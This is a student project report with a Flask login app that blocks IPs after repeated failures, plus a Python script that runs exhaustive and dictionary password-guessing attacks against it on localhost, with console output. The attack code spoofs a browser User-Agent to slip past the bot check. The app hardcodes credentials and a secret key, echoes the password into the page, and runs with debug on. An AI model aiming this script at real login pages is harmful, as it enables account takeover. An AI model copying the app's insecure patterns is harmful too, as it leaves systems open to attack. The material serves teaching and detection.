Name: V. Hari Praneeth
Reg no: 18BCE7147

Project: Brute-force attack and detection using Python

GitHub link: https://github.com/vh-praneeth/Bruteforce_python

Approach:

Detection:
If the same IP address has multiple failed attempts, which are more than the pre-defined limit, it is detected as a brute-force attack. The attacker's IP address will be blocked.
If the user-agent string does not appear to be a real browser, we detect it as a bot. It won't be allowed to send requests to the server.

Attack:
Brute-force: We generate permutations and combinations of the predefined text.
Dictionary-based attack: For each password in the file, attempt attack using the password.

Output screenshots:

attack.py

Brute-force attack

```
18BCE7147 $ python3 attack.py
localhost:8080
try: aaaaaaaaaa
try: aaaaaaaaab
try: aaaaaaaaac
try: aaaaaaaaad
try: aaaaaaaaae
try: aaaaaaaaaf
IP blocked
```

Dictionary-based attack

```
18BCE7147 $ python3 attack.py
localhost:8080
try: 123456
try: 12345
try: 123456789
try: password
try: iloveyou
try: princess
IP blocked
```

Detection

flask_app.py

```
18BCE7147 $ python3 flask_app.py
 * Serving Flask app "flask_app" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a prod
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:8080/ (Press CTRL+C to quit)
127.0.0.1 - - [04/Jun/2021 09:59:44] "POST / HTTP/1.1" 200 -
127.0.0.1 - - [04/Jun/2021 09:59:45] "POST / HTTP/1.1" 200 -
127.0.0.1 - - [04/Jun/2021 09:59:46] "POST / HTTP/1.1" 200 -
127.0.0.1 - - [04/Jun/2021 09:59:47] "POST / HTTP/1.1" 200 -

Blocked IP: 127.0.0.1
```

Code:

Detection:

flask_app.py

```
' Web app which detects Brute force attacks '
from flask import *

app = Flask(__name__)
app.secret_key = 'my_secret_key_123'

class var:
    ' A class used to store variables '
    attempts_limit = 4  # maximum incorrect attempts allowed
    email = 'test@gmail.com'  # correct email and password
    password = '.5_pFO*p6s8Kcj+U'
    failed_attempts = {}  # dictionary
    blocked_ips = set()  # empty set
    html_code = '''
        <title> Login page </title>
        <link rel="stylesheet"
href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootst
rap.min.css">
        <div align="center" class="border">
            <div class="header">
                <h1 class="word"> Login </h1>
            </div> <br> <br> <br>
            <h2 class="word">
                <form action="/" method="post">
                <input id="email" name="email" type="text"
placeholder="Enter Your Email" class="textbox" value=""> </br>
</br>
```

```
                <input id="password" name="password"
type="password" placeholder="Enter Your Password"
class="textbox" value=""> </br>
                <input type="submit" class="btn btn-primary"
value="Sign In">
                </form>
                <div class="msg"> {{ msg }} </div>
            </h2>
            <p class="bottom">
                Don't have an account? <a class="bottom"
href="/">Sign Up here</a>
            </p>
            ''' + email + ''' <br>
            ''' + password + '''
        </div>
    '''
def block(ip_addr):
    var.blocked_ips.add(ip_addr)
    print("\nBlocked IP: " + ip_addr + "\n")

def is_brute_force(ip_addr):
    ' Detect whether the request is brute-force or not '

    # Find how many failed attempts from same IP
    if var.failed_attempts.get(ip_addr, 0) > var.attempts_limit:
        block(ip_addr)
        return True  # yes. it is brute-force
    else:
        return False


def generate_message(request):
    ' Generate response using the request '
    email = request.form['email']
```

```
    password = request.form['password']
    ip_addr = request.remote_addr
    if email==var.email and password==var.password:
        return " -----> Login successful <----- "
    else:
        # add failed attempt
        var.failed_attempts[ip_addr] = \
            var.failed_attempts.get(ip_addr, 0) + 1
        if is_brute_force(ip_addr):
            return " -----> Brute force detected <----- "
        else:
            return " -----> Login failed <----- "

@app.route('/', methods = ['POST', 'GET'])
def home():
    ip_address = request.remote_addr
    if ip_address in var.blocked_ips:
        return 'Your IP is blocked'

    user_agent = request.headers.get('User-Agent')
    if not user_agent.startswith('Mozilla'):
        return 'Bot detected. This website is not for bots'

    if request.method == 'POST':
        msg = generate_message(request)
    else:
        msg = ''
    return render_template_string(var.html_code, msg=msg)

if __name__ == "__main__":
    app.run(port=8080, debug=True)
```

Attack:

attack.py

```
' Performs brute-force attacks against the target '
import sys, time, itertools
import requests
from flask_app import var

url = 'http://localhost:8080/'
print(url[7:-1])
data = {
    'email': var.email,  # imported from flask_app
    'password': ''
}
sess = requests.Session()
sess.headers['User-Agent'] = 'Mozilla'
correct_password = var.password


def try_password(trial=[]):
    ' Send POST request attempt with password '
    try:
        data['password'] = ''.join(trial)
        print('try:', data['password'])
        res = sess.post(url, data=data)
        if 'success' in res.text:  # if brute-force successful
            return 'Success'
        elif 'block' in res.text:  # IP is blocked by server
            return 'IP blocked'
    except Exception:
        pass  # if fail to post, retry
    return ''  # empty string if failed
```

```
def brute_force():
    ' Perform brute-force attack '
    start_text = 'abcdefghij'  # text for first attempt
    length = len(start_text)  # how many char in password
    generator =
itertools.combinations_with_replacement(start_text, length)
    for password in generator:
        res = try_password(password)
        if res:  # if there is response, stop attack
            print(res)
            break
        time.sleep(1)  # wait for 1 second before next attempt


def dictionary_attack():
    ' Perform dictionary attack using a dictionary file '
    with open('dictionary.txt') as file:
        for password in file:
            password = password.replace('\n', '')
            res = try_password(password)
            if res:  # if there is response, stop attack
                print(res)
                break
            time.sleep(1)
            # wait for 1 second before next attempt


if __name__ == '__main__':
    brute_force()
    # dictionary_attack()
```